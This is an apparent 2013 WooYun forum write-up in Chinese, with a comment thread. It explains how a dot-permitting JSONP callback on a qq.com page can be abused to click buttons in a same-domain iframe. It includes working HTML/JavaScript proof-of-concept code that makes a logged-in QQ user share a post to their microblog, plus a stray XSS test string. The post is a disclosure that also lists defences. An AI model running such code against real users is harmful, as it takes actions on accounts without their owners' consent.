当前位置:WooYun(白帽子技术社区) >> 安全测试 >> 我是如何绕过csrf防护让qq用户发微薄的

我是如何绕过csrf防护让qq用户发微薄的

xsjswt | 2013-04-26 17:39

今天扯淡一种另类的csrf:通过低敏感度,所以没有csrf防护的页面,来操作高敏感度的页面,比如微薄加粉,发微薄云云。

/* 无耻的小注释
    这个问题已经在腾讯漏洞报告平台报告,觉得比较好玩,故扯出来发到zone里,让大家乐乐。
    腾讯这样的忽略点应该不少,大家可以再挖挖。
*/

话说某个月高风黑,伸手不见黑夜的五指,菜逼哥正蛋疼的挖着tx的洞,为了换几个公仔给妹纸逗乐,下意识地在火狐界面下按下了F12。
据某XX的经验,那些看得见的页面,屌丝程序猿们基本都有防护,那些看不见得地方最容易出问题。在web2.0的今天,界面上最看不见的东西是什么,那当然各种回调了。所以按F12找各种json、callback,无往不利。

就在菜逼哥按下F12的那个时刻,一个网址映入菜逼哥的眼帘:
http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=callback
于是,熟练的手起刀落,查看起源代码:
<script type="text/javascript">
<!--
document.domain='qq.com';
try {
callback({'cmd':'login', 'result':0});
} catch (e) {}
//-->
</script>

呵呵,又一个写在<script>标签中的回调。各位现在可以尽情的fuzz一下,此处回调对回调名字过滤甚是严格,只允许a-zA-Z0-9[]'".这些字符。妄图alert(/hacked by 路人甲@wooyun/)的希望都破灭了
似乎没戏了,不过,似乎,总感觉哪里不太对劲的样子。。。。

仔细琢磨琢磨。。。。
利用点
似乎

出在
那个
小数点上

著名的“风骚爱情湿人学者”韩寒童鞋曾经曰过,什么叫现代湿,把散文拆开,分行来写就对了。
菜逼哥一直对那些会写湿的人很仰慕,就也附庸风雅,写了上面这一小段,大家凑合着看看?

大胆假设一下,如果callback的取值是parent.iframe_id.element_id.click,那么位于父页面中,iframe引用了与其同域的页面中的元素、函数这些东西,会不会触发、调用呢?
一个声音高叫着:答案是有的

既然答案是有的,菜逼哥我就不罗嗦了,先放出利用代码再说吧:
<html><body>
<script>
function step1(){
        var obj=document.createElement("iframe");
        obj.src="http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=parent.xx.web_weibo.click";
        document.body.appendChild(obj);
        setTimeout("step2();",100);
}
function step2(){
        var obj=document.createElement("iframe");
        obj.src="http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=parent.xx.postButton.click";
        document.body.appendChild(obj);
}
</script>
<iframe id='xx' name='xx' src='http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http://cnssuestc.org/' onload="javascript:step1();" width="1000" height="1000" ></iframe>
</body></html>


http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http://cnssuestc.org/
这个页面是qq空间的一键分享网址的页面,访问下就会看到,页面左下角有一个同时转发到微薄云云。
然后呢,代码应该也不需要解释了,大家都看得懂。

这样的问题说大不大,说小不小,关键就看到被操作页面有没有敏感的函数、元素可以被调用了。
防范的话,应该也是比较简单的,在操作原页面做普通的csrf防护:加token也好,referer判断也行;
原页面限制下小数点出现的次数:比如http://e.qq.com/ec/verifymail.php?script&callback=parent.xx这个页面,只允许使用一个小数点,那几乎就没什么想法了。如果有哪位大犇有利用思路,欢迎回帖指出。
被操作页面判断top.location,parent.location是否为可信域名下的页面:这个可能容易疏漏。whatever,也是一种限制被利用的方式

最后给两个效果图吧
呵呵'>">'>"><script>alert(1);</script>
呵呵

分享到:
  1. 1#
    回复此人 感谢
    Reserved | 2013-04-26 17:57

    这个NB了额

  2. 2#
    回复此人 感谢
    p.z (谈钞票伤感情 谈感情又伤钞票又伤感情) | 2013-04-26 18:08

    有妹纸的黑客都是大犇

  3. 3#
    回复此人 感谢
    HuGtion | 2013-04-26 18:10

  4. 4#
    回复此人 感谢
    Defa | 2013-04-26 18:30

    真心牛逼

  5. 5#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2013-04-26 18:30

    callback调用key文件再发布微博。 好牛逼!

  6. 6#
    回复此人 感谢
    小胖子 (z7y首席代言人,园长的表哥...) | 2013-04-26 19:32

    文采太好了,不愧是电子call妓大学的!!!

  7. 7#
    回复此人 感谢
    seul (我会骑摩的。) | 2013-04-26 19:45

    mobai

  8. 8#
    回复此人 感谢
    风萧萧 (但是爱上了,第一步是失去自己,第二步就是失去你的爱) | 2013-04-26 19:50

    几分?

  9. 9#
    回复此人 感谢
    px1624 (aaaaaaaaa) | 2013-04-26 19:52

    @小胖子 <·(..)·>

  10. 10#
    回复此人 感谢
    Yaseng (看黄片 到 www.yaseng.org) | 2013-04-26 19:56






    文章


  11. 11#
    回复此人 感谢
    pangshenjie (whoami) | 2013-04-26 21:11

    围观大神的节奏啊,我大凝聚要火

  12. 12#
    回复此人 感谢
    情深 (ส็็็็็็็็็็็็็็็็็็็็็็็็็) | 2013-04-26 21:19

    思路很赞。

  13. 13# 感谢(2)
    回复此人 感谢
    xsjswt | 2013-04-26 23:06

    @风萧萧 本来是3分,说了很久,给了5分

  14. 14# 感谢(1)
    回复此人 感谢
    xsjswt | 2013-04-26 23:09

    @小胖子 是骗纸call妓大学,注意专有名词的用法

  15. 15#
    回复此人 感谢
    pysolve (你说我是错的,那你最好能证明自己是对的。) | 2013-04-26 23:36

    大凝聚已火。够猥琐,对得起“猥”字中那凶悍的反爪。

  16. 16#
    回复此人 感谢
    123 (v2ex) | 2013-04-26 23:47

    膜拜猥琐大牛

  17. 17#
    回复此人 感谢
    world_in_hand | 2013-04-27 09:37

    膜拜啊

  18. 18#
    回复此人 感谢
    0x0F (..........................................................................................................................................................................................................................................................) | 2013-04-27 09:45

    Mark.!

  19. 19#
    回复此人 感谢
    汉时明月 (‮......核审在正长超名签 :) | 2013-04-27 10:16

    大牛X啊,没全看明白,但直到真的牛X啊

  20. 20#
    回复此人 感谢
    无厘头 | 2013-04-27 10:35

    这思路,火速膜拜!

  21. 21#
    回复此人 感谢
    cnrstar (Be My Personal Best!) | 2013-04-27 12:00

    看不懂,先仰视,亮点太多。哈哈

  22. 22#
    回复此人 感谢
    风萧萧 (但是爱上了,第一步是失去自己,第二步就是失去你的爱) | 2013-04-27 13:26

    @xsjswt 没意思

  23. 23#
    回复此人 感谢
    小胖胖要减肥 | 2013-04-27 13:47

    @风萧萧 求搞基

  24. 24# 感谢(1)
    回复此人 感谢
    xsjswt | 2013-04-27 14:17

    @风萧萧 发乌云也没意思,那边5分=25个金币,可以换两个qq公仔了。要是发乌云,可能就给5个rank,也就十分之一个xsser.me的邀请码

  25. 25#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2013-04-27 14:35

    @xsjswt 很牛逼,move 到 猥琐流zone来吧

  26. 26# 感谢(1)
    回复此人 感谢
    xsjswt | 2013-04-27 14:38

    @Sogili 怎么move,放哪其实都差不多的。大家都看得见

  27. 27#
    回复此人 感谢
    风萧萧 (但是爱上了,第一步是失去自己,第二步就是失去你的爱) | 2013-04-27 17:03

    @小胖胖要减肥 咱两现在不正搞着嘛,小胖胖!

  28. 28# 感谢(1)
    回复此人 感谢
    xsjswt | 2013-04-27 17:39

    @风萧萧 公共场合打情骂俏,真恶心

  29. 29#
    回复此人 感谢
    呆子不开口 (求各种兼职) | 2013-04-27 17:41

    这个同源牛逼,学习了

  30. 30#
    回复此人 感谢
    呆子不开口 (求各种兼职) | 2013-04-27 17:48

    通杀浏览器么

  31. 31# 感谢(1)
    回复此人 感谢
    xsjswt | 2013-04-27 17:51

    @呆子不开口 ff和ie不知道几测试通过了,其他的浏览器你自己实验一下就知道了

  32. 32#
    回复此人 感谢
    小胖胖要减肥 | 2013-04-27 18:23

    @xsjswt 谁让你在帝都呢

  33. 33#
    回复此人 感谢
    ghy459 (深挖洞,广积shell。) | 2013-04-28 09:44

    我来围观大凝聚的

  34. 34#
    回复此人 感谢
    xiaogui | 2013-04-28 10:32

    猥琐无极限。。。

  35. 35#
    回复此人 感谢
    springemp | 2013-04-28 17:31

    不错,思路挺奇葩

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录